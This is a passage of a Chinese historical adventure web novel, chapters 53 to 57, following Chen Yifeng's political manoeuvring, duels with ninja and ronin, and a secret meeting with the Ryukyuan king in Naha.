夜色渐深,大多数船员都已入睡。陈逸风独自站在甲板上,任由海风吹拂。月光皎洁,将海面映照得银光粼粼。远处,琉球的轮廓若隐若现。 这个关键的门户就在眼前。他需要一个宰相的名分,需要一个立足点。但是眼下的局势却让他不得不谨慎行事。 背后传来脚步声,是沈达华。 “已经联络了二百多名弟兄,”沈达华轻声说,“都是可靠的人手。” 陈逸风望着远方,眉头微皱:“不够,远远不够。” 面对盘踞在那霸的三千日本士兵,他们现在的力量还太过弱小。虽然知道未来会发生什么,但在这个节点上,他们必须步步为营。 就在这时,船舱方向传来一阵骚动。迈克跌跌撞撞地跑了出来,脸色惨白:“陈先生!不好了!发现日本军舰!” 陈逸风眯起眼睛。果然,远处海面上出现了几个黑点,正在快速接近。 “准备战斗!”科西嘉船长的声音在黑暗中响起。水手们纷纷奔向各自的岗位。 沈达华低声问:“要不要让兄弟们准备?” 陈逸风摇了摇头。现在不是暴露实力的时候。他必须想办法周旋。这时,他注意到迈克脸上闪过一丝异样的神色。 “迈克先生,”陈逸风沉声道,“看来您此行的意外不止一个啊。” 迈克的表情变得复杂起来:“陈先生,我...我其实...” 话未说完,一声炮响划破夜空。远处的军舰打出了示警信号。 希望号上的气氛瞬间紧张起来。在这片海域,日本军舰的出现绝非偶然。一场暗流涌动的较量即将展开。 琉球城街头,山势迂回处,一座座青瓦木屋鳞次栉比地排列着。层层叠叠的房屋间,袅袅炊烟升起,夹杂着海风咸腥的味道。 街上到处都是日式的温泉、宿屋,还有吵闹的酒馆。木制建筑的檐角勾勒出典型的和风轮廓,游走的商贩吆喝声此起彼伏。一群穿着木屐的武士神情傲慢地从街道上经过,脚步声咔哒作响。 三三两两的商人搂着面涂白粉的歌姬,在街道上摇摇晃晃地走着。酒馆里传出三线琴悠扬的弦音,和着女子婉转的和歌声,在温泉水汽中晕染出一片朦胧。 陈逸风一行人的到来在这座城市掀起一阵波澜。他们的队伍浩浩荡荡,光是住宿就占据了一条街四间最大的宿屋。每间宿屋门前都站着两名身材魁梧的护卫,目光警惕地扫视着过往行人。 “樱之宿”是这条街最好的住处,店主特意将最好的房间留给了陈逸风。两棵参天的百年樱花树在庭院中伫立,树下引来一道温泉活水,潺潺流淌。 “这温泉水还不错。”陈逸风站在浴池边,手指轻轻拨动着水面。海水的咸腥味还萦绕在鼻间,让他不禁皱了皱眉。 脱去衣物,温热的水流包裹住身体。陈逸风靠在池边的岩石上,感受着温泉水的舒适。水汽氤氲中,庭院里的樱花若隐若现,几片花瓣随风飘落在水面上。 “打扰了...”一个轻柔的女声传来,伴随着拉门滑动的声响。 陈逸风微微睁眼,只见一个身着淡粉色和服的少女正跪坐在池边。她低着头,双手扶着托盘,上面放着一壶清酒和杯具。 “客官,这是您要的清酒...”少女的声音带着几分怯意。 “放在那边就好。”陈逸风闭上眼睛,随意指了指池边的石台。 然而,预想中离去的脚步声并未响起。取而代之的是布料摩擦的窸窣声。陈逸风猛地睁开眼,只见那少女正要解开和服的腰带。 “等等!”他连忙出声制止。 少女的动作顿住了,抬起头疑惑地看着他:“这...这是这里的规矩...” 陈逸风这才想起古代日本宿屋的某些“特殊服务”。他摆摆手:“不必了。” 少女却像没听见似的,继续解着衣带:“民女是店里最好的按摩师,一定不会让客官失望的...” 和服滑落,露出白皙的肩膀。少女缓缓走入池中,水波荡漾。她的动作轻柔而熟练,开始为陈逸风按摩肩颈。 “你叫什么名字?”陈逸风闭着眼问道。 “民女...名叫千夏,来自四国...”少女一边按摩,一边轻声说着,“因为家里困难,才来到这里...” 当她的手要往下移动时,陈逸风突然站了起来:“够了,帮我把衣服拿来。” 千夏愣住了,随即跪在水中连连磕头:“对不起,是民女冒犯了...” 陈逸风从腰包里取出两枚鹰洋银币,放在她面前:“收好吧。” “阿里嘎多...”千夏泪流满面地道谢。 回到房间,几名侍女已经摆好了午餐。案几上放着精致的日式料理:清酒、天妇罗、生鱼片,虽然精致但份量明显不够。 “军师。”沈达华推门而入,“属下已经和琉球王室取得联系,后天他们举办野游,国王会出席。” 梁坤也凑上前来:“这边还有个情况,现在琉球是萨摩藩岛津家的属地。他们派来的总头领桦山栗源...” 话音未落,外面突然传来一阵喧哗。孟明蛇的怒喝声划破午后的宁静:“哪来的小贼,敢在我面前卖弄武艺!” 紧接着是兵器碰撞的清脆声响。守在门外的武将们立即抄起兵器,将陈逸风护在中间。 “不必惊慌。”陈逸风放下筷子,神色平静,“我们出去看看。” 庭院里,十几名身着武士服的人围成一圈。孟明蛇手持长刀,正和一名年轻武士对峙。那武士手中的武士刀闪着寒光,招式凌厉。 “军师小心!”沈达华低声提醒,“这些人身上都带着武器。” 陈逸风微微点头。琉球虽是小国,却处于海上要道,各方势力盘根错节。这次来访,表面上是为了贸易,实则暗藏玄机。他必须步步为营,不能轻举妄动。 对面的年轻武士突然大喝一声,手中长刀如闪电般刺向孟明蛇。孟明蛇侧身避过,反手一刀劈出。两人你来我往,刀光剑影中火花四溅。 第五十三章 忍者送请柬 陈逸风站在庭院中,仰头注视着这场激烈的对决,不愿错过任何细节。这还是他第一次亲眼目睹真正的忍者作战,那种诡异莫测的身法让他不禁心生警惕。 “好敏捷的身手。”陈逸风喃喃自语,目光紧随着那道黑影。 在他身旁,几名太平军将士持枪而立,随时准备应对突发状况。空气中弥漫着一股紧张的气息,连院中的枫树叶子似乎都停止了摇曳。 孟明蛇的身影如行云流水,每一个动作都显得那么从容不迫。相比之下,那名忍者的动作虽然诡异多变,却总是显得有些仓促。 “有意思。”陈逸风若有所思地摸了摸下巴,“这忍者的功夫,倒是和传闻中有些不同。” 随着一声清脆的碰撞声,两把暗器相撞后跌落在地。金属相击的余音在院中回荡,惊起了几只停在枫树上的麻雀。 这场战斗持续了约莫一刻钟,那名忍者的体力明显开始不支。他的呼吸变得急促,动作也不再像开始时那般灵活。孟明蛇抓住机会,一记凌厉的掌风扫过,顿时在忍者胸前留下一道血痕。 “啊!”忍者闷哼一声,身形一个踉跄,差点从屋顶跌落。 孟明蛇并未趁胜追击,而是稳稳地站在房脊上,居高临下地望着对手:“认输吧,再打下去对你没有好处。” 忍者扶着受伤的胸口,缓缓站直身子。他沉默片刻,突然开口说道:“陈...陈先生...” 这蹩脚的中国话让在场所有人都愣了一下。 “桦山大人...诚挚邀请...赴宴...”忍者艰难地组织着语言,同时从怀中摸出一个精致的信封。 孟明蛇冷哼一声:“送个请柬还要玩这么多花样,真是此地无银三百两。分明就是来刺探虚实!” 陈逸风抬手制止了想要继续动手的孟明蛇:“且慢,让他过来。” 在数十支黝黑的枪口注视下,忍者小心翼翼地从屋顶跃下,跪地将请柬双手呈上。他的动作虽然恭敬,却始终保持着警惕,随时准备应对可能的突发情况。 陈逸风接过请柬,轻轻打开。精美的和纸上写着工整的汉字,内容是一场怀石料理的晚宴邀请。 “怀石料理?”他的目光在请柬上扫过,嘴角勾起一抹意味深长的笑意,“桦山栗源倒是很会做文章。” 院中的气氛微妙地变化着。太阳渐渐西斜,在地上投下长长的影子。秋风掠过,带来一阵细微的凉意。 “回去告诉桦山栗源。”陈逸风的声音不疾不徐,“就说我定当准时赴约。不过...”他故意停顿了一下,“下次送请柬,最好还是走正门。这样的小把戏,未免太失身份了。” 忍者默默地点头,随即如同一缕青烟般消失在院墙之外。 待人走后,沈达华走到陈逸风身边,压低声音说道:“军师,此事恐怕没这么简单。要不要...” “无妨。”陈逸风轻轻摇头,“既然他们摆出这副阵势,若是不去,反倒显得我们理亏。” “可是...” “王爷有所不知。”陈逸风转身看向沈达华,眼中闪过一丝锐利的光芒,“对付日本人,就得让他们先尝点苦头。他们越是这般小心翼翼,就越说明心中有鬼。” 除了迈克外出拜访,其余人都聚集在樱之宿内商讨对策。 “这帮日本人,未免太过放肆。”李秀成拍案而起,“若不是顾及大局,我真想...” “冷静。”陈逸风示意他坐下,“现在不是意气用事的时候。桦山栗源这步棋下得很妙,看似是示好,实则是在试探我们的底线。” 陈玉成若有所思:“军师的意思是...” “这场宴会,我们必须去。”陈逸风的目光扫过在座每个人,“但要让他们知道,我们不是好欺负的。” 与此同时,那霸港东面的一座幽静庭院中。 “岂有此理!”山本清狠狠地将茶杯摔在地上,“区区清国奴,竟敢如此放肆!大人,我们不能就这样...” “住口!”桦山栗源猛地拍案而起,浑厚的声音在室内回荡,“你可知现在是什么形势?萨摩、长州、土佐、肥前已经结成同盟,岛津家岂能轻启战端?” 山本清被这一声怒喝吓得缩了缩脖子,不敢再说话。 桦山栗源深吸一口气,强迫自己冷静下来:“准备今晚的宴会,一切按最高规格来办。若有不敷,可动用军费。” “是!”山本清和竹中井上同时应声,随即退出了房间。 他们匆匆离去的身影很快消失在回廊尽头,丝毫没有注意到不远处的胡同里,樱之宿的千夏姑娘正陷入危险之中... 千夏被几个彪形大汉按在木箱上,和服凌乱地挂在身上,她死死咬住下唇,眼泪无声地流淌。周围的浪人发出不怀好意的笑声,空气中弥漫着令人作呕的酒气。 “姐姐!求求你们放了我姐姐!”兵太跪在地上不停叩首,额头在粗糙的石板上磕出了斑斑血迹。他的手指抠进地缝,指甲折断渗血,却仿佛感觉不到疼痛。 恶八郎倚在门框上,受伤的独眼微眯,手中把玩着两枚从千夏那里抢来的鹰洋银币。阳光照在银币上,反射出刺眼的光芒,恰似当初那支铁钉刺入他眼睛时的痛楚。 “清国的贱民,”恶八郎咬着牙,脸上的刀疤扭曲着,“先是伤我眼睛,现在又敢勾引我的人!”他一脚踹在兵太的肋骨上。 兵太闷哼一声,却仍死死跪着不肯倒下。恶八郎冷笑着又补了一脚,这次兵太终于承受不住,侧倒在地。 赌馆前聚集了不少日本居民,他们远远地站着,面无表情地看着这一幕。有人低着头快步走过,有人转身离开,却没有一个人敢出声制止。 “别装模作样了,”恶八郎揪住千夏的头发,强迫她抬起头,“当初在船上勾引老子的时候,不是挺会装清高的吗?” 千夏紧闭双眼,浑身颤抖。两行清泪从眼角滑落,在尘土中留下斑驳的痕迹。 “大人,她、她真的只是想找个活路......”兵太艰难地爬起来,声音嘶哑,“是我没用,没能保护好姐姐......” 恶八郎不屑地啐了一口:“清国奴就该有清国奴的觉悟!也配跟我说话?”他挥手示意手下,“把这小子的腿打断!” 几个浪人举起木棒走近,兵太绝望地闭上眼睛。 就在这时,一声清脆的金属撞击声响起。 众人循声望去,只见一把锋利的肋差,稳稳地插在了兵太面前的地面上,刀身微微颤动,发出嗡鸣。 “想救你姐姐吗?”一个冷静的声音传来,“拿起刀,杀了他。” 人群不自觉地分开,露出一条通道。一个身着破旧和服的年轻人站在那里,怀中抱着一柄一字纹太刀。他的目光平静如水,却又深邃得令人心悸。 恶八郎看到那柄太刀,瞳孔骤然收缩。刀鞘上那熟悉的纹路,分明是传说中的名刀! 第五十四章 这里不是日本的土地吗 “你是什么人?”恶八郎强作镇定,厉声喝问。 年轻人仿佛没有听见,目光始终停留在兵太身上:“机会只有一次,你要选择当一辈子的懦夫,还是为自己的尊严而战?” 兵太跪在地上,浑身颤抖。他看看地上的肋差,又看看被制住的姐姐,眼中的绝望渐渐被愤怒取代。 “啊!”兵太发出一声嘶吼,猛地抓起肋差,朝恶八郎冲去。 恶八郎不屑一笑,右手按在刀柄上。在他看来,这不过是一只蚍蜉撼树的笑话。太刀出鞘的瞬间,他要把这不知死活的清国人砍成两段。 可下一刻,他的刀竟凭空消失了! 众人惊愕地看着眼前这一幕。恶八郎的太刀不知何时,已经到了那个年轻人手中。 “无刀取!这是新阴流的绝学!”有识货的武士惊呼出声。 年轻人的身形在阳光下化作一道残影,转眼间就穿过了浪人们的包围。每经过一人,必有一柄武器被夺。眨眼之间,所有浪人的刀都被缴了下来,整齐地插在房梁上,如同一片竹林。 恶八郎额头渗出冷汗,他知道对方是个高手。现在双方的实力差距太大,必须用非常手段。 “都把枪拿出来!”恶八郎从怀中掏出两把燧发枪,其余浪人也纷纷举枪瞄准。 “火枪,”年轻人的声音依旧平静,却带着一丝不易察觉的轻蔑,“武士的耻辱。” 恶八郎咬牙切齿:“少废话!你以为我会在乎这些虚名吗?有本事就来硬的!” 年轻人摇摇头:“你们已经不配称为武士了。” 话音未落,他的身影突然模糊起来。恶八郎本能地扣动扳机,可子弹只打中了空气。下一刻,他感到手腕一痛,燧发枪已经落在地上。 其他浪人也纷纷开枪,火光闪动,硝烟弥漫。但等烟雾散去,年轻人依然站在原地,毫发无损。而那些浪人的枪,全都不知所踪。 “这、这是什么妖术!”有人惊恐地后退。 年轻人冷冷扫视众人:“不是妖术,是武道。” 他转向兵太:“还在等什么?你姐姐的命运,就在你手中。” 兵太握紧肋差,看向瑟瑟发抖的恶八郎。此刻的他,哪还有半分昔日的嚣张? “你、你敢动我,幕府不会放过你的!”恶八郎色厉内荏地吼道。 兵太深吸一口气,眼中闪过一丝决绝。他缓缓举起肋差,刀尖直指恶八郎的咽喉。 恶八郎瞬间面如土色:“等等!我可以放了你姐姐!我还可以给你钱......” 兵太的刀尖轻轻颤抖,汗水从额头滑落。他从未杀过人,此刻内心正经历着前所未有的煎熬。 千夏挣扎着喊道:“兵太,不要!你不是杀人的人......” 年轻人的声音再次响起:“每个人都要为自己的选择负责。现在,做出你的选择。” 最终,兵太还是颤抖着将拿着肋差的手放了下来。“你走吧,但是如果下次还有机会,我一定不会手软。” 恶八郎惊魂未定,半晌才哆嗦着爬起夹着尾巴跑了。 那年轻人已料到会有次结果,摇了摇头叹了口气:“你还是太软弱善良了,他可不会记着你的仁慈,日后你定会后悔今天的选择。在下野平太,若日后有难可派人寻我”。 兵太还未来得及感谢,野平太已消失在视线中。 夕阳的余晖洒在那霸城的天际线上,远处的灯火渐次亮起,如同散落在海岸线的珍珠,闪烁着微弱却坚韧的光芒。空气中弥漫着咸湿的海风,夹杂着樱花凋零后的淡淡芬芳。 漫步在精心打理的日式庭院中,陈逸风的脚步随着蜿蜒的石径缓缓前行。庭院里的小溪潺潺流淌,溪水拍打着青苔覆盖的鹅卵石,发出轻柔的声响。月光透过枝叶的缝隙洒落,在地面上投下斑驳的光影。 “这处庭院确实别具匠心。”陈逸风停下脚步,目光扫过假山与修剪整齐的松树,“每一处细节都经过精心设计。” 跟在身后的桦山栗源立即躬身应和:“能得到陈先生如此赞誉,实在是我们的荣幸。若先生喜欢,献上也未尝不可。” 陈逸风听出了对方话中的试探,嘴角不经意地扬起一抹若有似无的笑意。这种被人阿谀奉承的感觉,恐怕再过几年就难以体会了。他沉默片刻,转而将话题引向了即将开始的怀石料理。 精致的日式木门被轻轻拉开,露出了铺着榻榻米的宽敞房间。桦山家老特意准备的北海道帝王蟹和深海虎斑虾摆放在漆器之上,散发着诱人的香气。六人份的宴席,据说花费了整整六十贯文。 山本清和竹中井上分别跪坐在两旁,表情严肃地注视着场中的一举一动。沈达华与孟明蛇则默契地守护在陈逸风左右,时刻保持着警惕。 “请用茶。”身着和服的侍女恭敬地递上热气腾腾的煎茶。 酒过三巡,菜过五味,桦山栗源的眼神开始闪烁,终于按捺不住开口道:“陈先生的《域外见闻》在我日本可是广受好评啊。若是先生有意来日本做客...” “哦?”陈逸风冷笑着打断了对方的话,“这里不是日本的土地吗?” 此话一出,山本清立即冷哼一声,重重地将酒杯砸在桌面上,茶水溅出杯沿。竹中井上的手也不自觉地按在了腰间的刀柄上。 “陈先生说笑了。”桦山栗源强忍着不快,脸上挤出一丝勉强的笑容,“这里是琉球,我等不过是受邀前来保护...” “保护?”陈逸风仰头大笑,笑声中带着几分嘲讽,“两百五十年的保护,怕是连那霸港的税收都被你们吞了个干净吧?” 空气瞬间凝固。桦山栗源的脸色变了又变,额头上渗出细密的汗珠。他深吸一口气,终究还是稳住了情绪:“天色已晚,不如随我去后院赏月如何?夜色正好。” 观景亭建在一处小高地上,整个那霸城的夜景尽收眼底。远处的海面波光粼粼,映衬着城中星星点点的灯火,构成了一幅独特的画卷。 “陈先生可知道,这世界向来都是弱肉强食?”桦山栗源望着远处的海面,语气悠远。 “家老这是要给我上一课?”陈逸风反问道,眼中闪过一丝玩味,“今日码头一事,想必家老已经见识过我的实力了?” “确实强大。”桦山栗源微微颔首,随即话锋一转,“但数量太少。” “哈哈哈!”陈逸风突然爆发出一阵大笑,笑声在夜空中回荡,“战术天才,战略蠢才,果真名不虚传!” 他转过身,目光如炬地盯着桦山栗源:“要不要我说说笃姬的政治联姻?或者四国联合舰队的炮轰事件?” 桦山栗源的双腿一软,几乎跌坐在地上。他的额头渗出冷汗,嘴唇微微颤抖:“你...你怎么会知道...” “这些都不重要。”陈逸风淡淡地说道,“两日后午时,樱之宿设宴。到时你自然明白我想要什么。” 说完,他转身离去,留下桦山栗源一人呆立在观景亭中,夜风吹起他的衣袖,如同被打败的旗帜般凄凉地飘动。 沈达华和孟明蛇紧随其后,月光下,三人的身影渐渐消失在庭院的转角处,只留下一串若有似无的脚印,印证着这场不平凡的会面。 第五十五章 请让我跟你回大清国 夜色渐深,海风依旧不停地吹拂着那霸城的每一个角落。远处的灯火依旧明亮,却似乎少了几分往日的傲气。这座被日本“保护”了两百五十年的城市,或许很快就要迎来新的变革。 然而此时的陈逸风并未表现出任何得意或轻松。他站在樱之宿的房间里,望着窗外的月光,眼神深邃。明天的宴会将是一场关键的博弈,每一步都要谨慎对待。 沈达华察觉到了他的心思,轻声问道:“先生可是在担心什么?” “不是担心。”陈逸风转过身,目光炯炯,“是在思考如何将这盘棋下得更好。” 孟明蛇也走上前来:“那霸城的形势比我们想象的要复杂得多。” 陈逸风点点头,没有多说什么。他知道,接下来的每一步都将影响着琉球的命运。而他,不过是这场大局中的一枚棋子,却要努力成为那颗最关键的棋子。 夜色愈发深沉,海浪的声音若隐若现地传来,仿佛在诉说着这座城市数百年来的沧桑。陈逸风站在窗前,静静地凝视着远方,等待着明天的到来。 热闹了一整天的那霸港,终于在深夜时分安静下来。街道两旁的灯笼渐次熄灭,普通百姓早已进入梦乡。偶尔几声犬吠,打破了夜的宁静,却很快又重归沉寂。 但在那些权贵们的府邸中,灯火依旧明亮。灯影婆娑间,无数双眼睛正在黑暗中窥视,每个人都在为各自的利益盘算。 桦山栗源的书房中,烛火摇曳。案几上摊着几封密信,字迹凌乱,显然写信之人非常匆忙。他修长的手指轻轻摩挲着信纸,眉头越皱越紧。 “陈逸风......”他喃喃自语,目光落在最新收到的一封信上。 这封来自萨摩藩的密信用了特殊暗语,内容却令人心惊。陈逸风不仅对日本了解颇深,更是对朝廷内部的诸多隐秘了如指掌。 桦山栗源提笔在宣纸上写道:“此人言谈举止,无不显露出对我日本之了解。不仅知晓西南四藩倒幕之事,更是对朝廷内部诸多隐秘了如指掌......” 写到这里,他的手突然顿住了。烛光映照下,他的表情显得格外凝重。原本以为只是一个普通的清国使臣,没想到会牵扯出如此多的隐情。 他站起身,走到窗前。夜色中的那霸港,此刻静谧而祥和。 “大清的西学大家......”他低声自语,“若是能为我所用......” 话未说完,一阵急促的脚步声打断了他的思绪。 “大人!”一名幕僚快步走入,“竹中井上大人来访。” 桦山栗源眉头一挑:“这个时辰?” 不多时,竹中井上便出现在书房门口。他的面色有些焦急,显然是匆忙赶来的。 “栗源兄。”竹中井上开门见山,“关于陈逸风之事......” “我知道你要说什么。”桦山栗源抬手打断,“但事情已经不是我们能够掌控的了。” 竹中井上神色一滞:“什么意思?” “你应该比我更清楚。”桦山栗源叹了口气,“德川幕府与西南倒幕派之间的对峙,已经到了最危险的时刻。陈逸风的出现,会打破现有的一切平衡。” 竹中井上沉默片刻,忽然问道:“栗源兄可曾想过,若是他倾向倒幕一派......” “所以我们更要小心行事。”桦山栗源打断道,“现在的琉球,就像一个即将爆发的火药桶。” 离开桦山府邸后,竹中井上立即返回自己的密室。他点燃一支蜡烛,开始给坂本龙马写信。 “龙马兄,陈逸风此人的出现,恐将影响维新大业。此人对我日本了解之深,实令人震惊。更令人担忧的是,他似乎对我们倒幕一派的行动也略知一二......” 写到这里,竹中井上停下笔,目光透过窗户望向远处的海面。月光下的海面泛着银光,却掩盖不住他内心的忧虑。 与此同时,山本清的府邸内,一片混乱。 “八嘎!”山本清一脚踢翻了身前的矮几,茶具摔得粉碎,“区区几个商人,也敢如此放肆?” 恶八郎跪在地上,额头直冒冷汗:“大人息怒!那些华商确实变得不太一样了。他们...他们居然敢拒绝缴纳保护费!” “你是在告诉我,你连几个商人都摆不平了吗?”山本清眼中闪过一丝狠色。 恶八郎支支吾吾:“可是...那些火枪......” “闭嘴!”山本清猛地站起,“你可知道,如果在琉球放任这些华人,将会造成什么后果?” 他大步走到窗前,双手紧握窗框:“这些年来,我们费尽心思才在琉球站稳脚跟。如果让这些华商做大,我们的一切努力都将付诸东流!” 恶八郎战战兢兢:“那...那我们该怎么办?” 山本清转过身,眼中闪过一丝阴狠:“既然他们不识好歹,那就让他们知道我们的厉害!今晚......” 就在这时,从屋顶传来的脚步声,打断了山本清的话。 山本清立刻跑出屋外,只见屋顶一个黑影闪过。山本清嘴角泛起一抹冷笑,挥手招来雾影小鬼等一众忍者,眼神中透着狠厉,低声吩咐他们悄悄跟上野平太,务必不要打草惊蛇。 雾影小鬼带着手下如鬼魅般穿梭在大街小巷,他们的身影在阴影中时隐时现。然而,在一个复杂的转角处,人群熙熙攘攘,野平太的身影就像融入了空气般消失不见了。雾影小鬼眉头紧皱,心中涌起一股不祥的预感。 野平太一路疾行,来到茶馆门前,正巧孙忠义和孟明蛇在此饮酒。他的目光瞬间被二人吸引。那两人气质不凡,站在酒馆前宛如鹤立鸡群。野平太深吸一口气,上前开门见山地打招呼道:“你们都是跟着陈逸风陈先生来自大清国的吧,在下新阴流传人野平太。” 孟明蛇微微点头,眼中闪过一丝审视,孙忠义则抱臂而立,上下打量着野平太。相互介绍之后,孙忠义因有要事在身,便先行告辞。 孟明蛇与野平太却像是久别重逢的老友一般,相谈甚欢,并趁机告知了山本清的谈话。孟明蛇自是感激不尽。酒馆打烊,二人站在街口分别,野平太突然满眼期待地对着孟明蛇说道:“请让我跟你回大清国。”孟明蛇满脸疑惑,还未来得及询问,突然,一道黑影如闪电般朝他们扑来。 那是一个忍者打扮的女子,全身包裹在黑色的夜行衣中,只露出一双冰冷如霜的眼睛。身后跟着另外几名忍者。孟明蛇以为敌人是冲着自己而来,当下毫不犹豫地出手应对。哪知那为首的女子虽过来应战,却让手下朝着野平太袭去。野平太虽功夫不凡,却也寡不敌众,不一会便朝着树林跑去。见野平太逃走,与孟明蛇纠缠的雾影小鬼此时眼神阴鸷,突然朝着孟明蛇扔出几枚飞镖,也朝着树林跑去。他本想追去帮着野平太一起对付,哪知那飞镖在月光下闪着寒光,孟明蛇虽反应敏捷,及时侧身躲闪,但还是有一枚飞镖击中了他的脚,瞬间鲜血直流。让他不得不停下脚步,只能望着野平太的背影消失在树林中…… 第五十六章 与琉球王的秘密会面 与此同时,在梁坤的宅院中,十几名华商正聚集在一起密谈。屋内烛火摇曳,映照出众人忧虑的面容。 “梁大人,现在的形势对我们很不利啊。”一个面容清瘦的商人说道。 另一个商人接话:“是啊,虽然有了火枪,但日本人显然不会就此罢休。” “诸位可曾想过,”梁坤沉声开口,“为何桦山栗源对陈先生如此礼遇?” 众人面面相觑,不明所以。 梁坤继续道:“因为他们也在忌惮,在试探。陈先生的出现,已经打乱了他们的部署。” “那我们......” 梁坤摆摆手:“但我们的处境,恐怕没有诸位想象的那般乐观。日本人不会轻易放弃对琉球的控制权,我们必须做好最坏的打算。” 众商人神色各异,有人面露忧色,有人攥紧拳头,也有人暗暗叹息。 正当众人各怀心事之际,一个熟悉的声音从屋顶传来。 “梁偏将,你似乎对军师不太有信心啊?” 众人抬头望去,只见孟明蛇正蹲在房顶上。月光下,他的身影显得格外潇洒。 但梁坤很快注意到了异常:“蛇爷,你受伤了?” 孟明蛇的右臂确实有些不自然的下垂,他轻轻跃下房顶,落地时脸色微微一变。 “没什么大不了的。”他故作轻松地说,“刚才在城里转了一圈,不小心撞见了一些有趣的事情。” 梁坤连忙上前扶住他:“到底发生了什么?” 孟明蛇环视四周,目光在每个人脸上扫过:“事情比我们想象的要复杂得多。山本清那边,已经开始行动了......” 夜色如墨,那霸港的海风裹挟着咸湿,吹散了白日的炎热。灯火零星点缀在港口,将海面映得忽明忽暗。 孟明蛇的手掌按在粗糙的石墙上,目光静静望着野平太的背影消失在远处的树林。夜风撩起他的衣角,带来一丝莫名的惆怅。那个身影,竟让他想起了多年前在武馆切磋时的情景。 “这一战,值了。”孟明蛇低声自语,嘴角勾起一抹笑意。脚上的伤口隐隐作痛,提醒着方才那场激烈对决的真实。 新阴流传人野平太的身手确实不俗。那一招一式间的凌厉,那股子纯粹的武者气质,都令孟明蛇心生敬意。特别是他那双眼睛,闪烁着对武道的执着,仿佛看到了年轻时的自己。 “蛇爷!”孙忠义的声音突然在身后响起,“你怎么在这儿?这伤......” 孟明蛇转身,借着昏暗的灯光,孙忠义看清了他腿上的伤势,脸色顿时变得凝重。几处深可见骨的伤口触目惊心,血迹已经浸透了裤腿。 “无妨。”孟明蛇摆摆手,“区区皮肉之伤,养几天就好。” 孙忠义急切地说:“先回房处理伤口!这伤口若是感染了可不是闹着玩的。” 孟明蛇点点头,却又望向树林的方向。野平太临别时那句“请让我跟你回大清国”的话语,还在耳边回响。那眼神中饱含的期待与诚意,让他难以轻易拒绝。 回到房间,陈逸风仔细为孟明蛇清理伤口。“这些伤,不像是野平太的剑伤。” “确实不是。”孟明蛇皱眉道,“那些突然出现的忍者,似乎另有目的。” “什么意思?” “那个女忍者纠缠我,其他人却直奔野平太而去。”孟明蛇眼中闪过一丝思索,“他们的目标,恐怕是野平太。” 孙忠义冷哼一声:“管他们日本人自己的恩怨。蛇爷,现在最重要的是养伤。明天还要保护先生去见琉球王呢。” “派人去找找野平太的下落。”孟明蛇坚持道,“我总觉得这事没那么简单。” 孙忠义无奈,只得先派人向陈逸风报告了此事,然后唤来诸葛林,二人一起带人去搜寻野平太的踪迹。 夜深人静,孟明蛇躺在榻上,回想着白天的种种。那些忍者的出现太过蹊跷,而野平太身上,似乎也藏着不为人知的秘密。 清晨的阳光透过窗棂洒进房间,港口已经热闹起来。码头上渔民的吆喝声,商贩的讨价声,还有远处传来的号角声,交织成一片喧嚣。 “蛇爷,你这伤......”陈逸风看着正在穿鞋的孟明蛇,欲言又止。 “放心,不会影响行动。”孟明蛇活动了下脚腕,虽然还有些疼,但已经能够自如行走,“保护先生的事,容不得半点马虎。” 正说着,迈克匆匆走了进来:“我刚收到消息,那位美国军火商已经到了。” 陈逸风眼前一亮:“这可是个好机会!” 孟明蛇却没有接话,而是若有所思地望向窗外。今天最重要的,是与琉球王尚泰的秘密会面。这场看似简单的会晤,背后牵扯的利益错综复杂。 观海台上,海风轻拂,远处碧波荡漾。琉球王尚泰的车驾缓缓而来,四周早已布满了王室大臣蔡瑁的士兵,却都隐藏在暗处,不露半点痕迹。 野炊的烟火升起,远远望去,仿佛只是一场寻常的宴会。可孟明蛇知道,这场宴会背后藏着惊天的秘密。年轻的琉球王难掩兴奋之色,那股子迫不及待的样子,让不少大臣困惑不已。 突然,一个亲日派官员起身要离开,却发现四周早已被重重包围。他的脸色瞬间变得煞白,冷汗直流。 “留步。”孟明蛇的声音不急不缓传来,“宴会才刚开始,何必着急离开?” 那官员强装镇定:“家中有事,不得不告辞......” “是要去通风报信吧?”孟明蛇冷笑,“这么着急要告诉日本人?” 官员脸色大变,正要辩解,却见琉球王尚泰缓缓站起。年轻的君王眼中闪过一丝凌厉:“既然来了,就好好待着吧。” 就在这时,远处传来一阵骚动。诸葛林快步走来,在孟明蛇耳边低语几句。孟明蛇的眉头顿时皱得更紧。 “野平太失踪了?”他低声问道。 “是的。”诸葛林点头,“我们搜遍了整个港口区域,都没有找到他的踪迹。不过......” “不过什么?” “在城外的树林里,发现了打斗的痕迹,还有......”诸葛林犹豫了一下,“还有血迹。” 孟明蛇的眼神瞬间变得锐利。野平太身手不凡,能让他在短时间内失踪,对手绝非等闲之辈。更重要的是,这件事的发生时机太过巧合。 “通知下去,加强戒备。”孟明蛇低声吩咐,“我总觉得,会有人来搅局。” 宴会仍在继续,觥筹交错间,暗流涌动。琉球王与中国使团的秘密协议即将达成,这将彻底改变琉球的政治格局。而这,或许就是某些人不愿看到的。 孟明蛇站在观海台的角落,目光扫过四周。脚上的伤口隐隐作痛,提醒他时刻保持警惕。野平太的失踪,那些神秘的忍者,还有即将达成的秘密协议,这一切,似乎都指向一个更大的阴谋。 第五十七章 野平太被抓 桦山栗源站在最高处的庭院里,手中单筒望远镜微微颤动。周围寂静无声,只有庭院内那株老樱花树的枝叶在微风中轻轻摇曳。 这支欧洲产的精工望远镜价值不菲,黄铜镜筒在阳光下闪烁着柔和的光泽。此刻,它正对准首里城外那场看似平常的野餐会。远处,几顶华贵的帐篷在绿草如茵的山坡上格外醒目。 他目不转睛地注视着望远镜中的画面,眉头渐渐紧蹩。那些身着丝绸和服的贵族们举止优雅,觥筹交错间似乎只是在享受着初春的怡人气候。可桦山栗源却察觉到了不寻常——每个人的笑容都太过刻意,动作也显得僵硬。 直到琉球王国的士兵如潮水般从四面八方涌出,将野餐会悄无声息地包围,他才缓缓放下望远镜。镜筒上映出他那张布满阴霾的脸。 “来人。”他的声音低沉而冷静。 一道娇小的身影瞬间出现在身后,仿佛凭空而至。这是个长相甜美的女子,肤若凝脂,眉目如画。若是精心打扮,必是祸国殃民的美人。但若蛇爷在此,定能一眼看破她的真实身份——昨夜围攻他的忍者,雾隐小鬼。 “属下在。”她微微低头,声音轻柔得宛如春风拂面。 桦山栗源并未回头,目光依旧停留在远处的野餐会:“去查清尚泰的意图。此事透着诡异,若你查不出端倪,便动用最深的暗子。” “是。”雾隐小鬼应声,身形飘忽地消失在庭院中,连地上的落叶都未曾惊动。 